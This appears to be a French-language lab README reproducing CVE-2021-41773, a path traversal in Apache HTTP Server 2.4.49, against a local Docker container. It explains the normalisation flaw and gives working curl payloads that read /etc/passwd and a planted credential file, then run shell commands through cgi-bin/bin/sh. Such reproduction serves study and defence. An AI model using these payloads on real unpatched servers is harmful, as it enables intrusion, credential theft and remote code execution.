
Reproduction et analyse d'une curieuse erreur logique dans Apache 2.4.49 ayant conduit à une exécution de code à distance
CVE-2021-41773 est une vulnérabilité de traversée de chemin découverte dans Apache HTTP Server 2.4.49 en octobre 2021. La cause première était un échec à normaliser correctement les séquences de points terminées dans l'URL avant de vérifier si le chemin demandé restait dans la racine web. Cette vulnérabilité permettait à un attaquant de sortir de la racine web pour accéder à des fichiers n'importe où sur le système de fichiers du serveur, avec certains cas d'escalade jusqu'à l'exécution de code à distance.
2 vecteurs d'attaque démontrés dans cette exploration
Docker
curl
Linux ou macOS
Dockerfile - construire un conteneur Apache 2.4.49 vulnérable
exploit.sh - script automatisé de chaîne d'exploitation
README.md
Aperçu du Dockerfile :
Remarque : assurez-vous que Docker est installé et en cours d'exécution
Option 1 : script automatique
chmod +x exploit.sh
./exploit.sh
Option 2 : exécution manuelle
Construire l'image et lancer le conteneur :
sudo docker build -t cve-2021-41773-env .
sudo docker run -d -p 8080:80 --name vulnerable-apache cve-2021-41773-env
Commandes curl individuelles pour une expérimentation manuelle :
Étape 1 — Lire le secret placé (traversée pure, pas de CGI)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/secret_credential.txt"
Étape 2 — Lire /etc/passwd (traversée pure, pas de CGI)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
Étape 3 — RCE : exécuter des commandes (nécessite mod_cgi)
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; id; whoami; uname -a" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
Étape 4 — Chaîne complète : lire le secret via RCE
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; cat /etc/secret_credential.txt" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"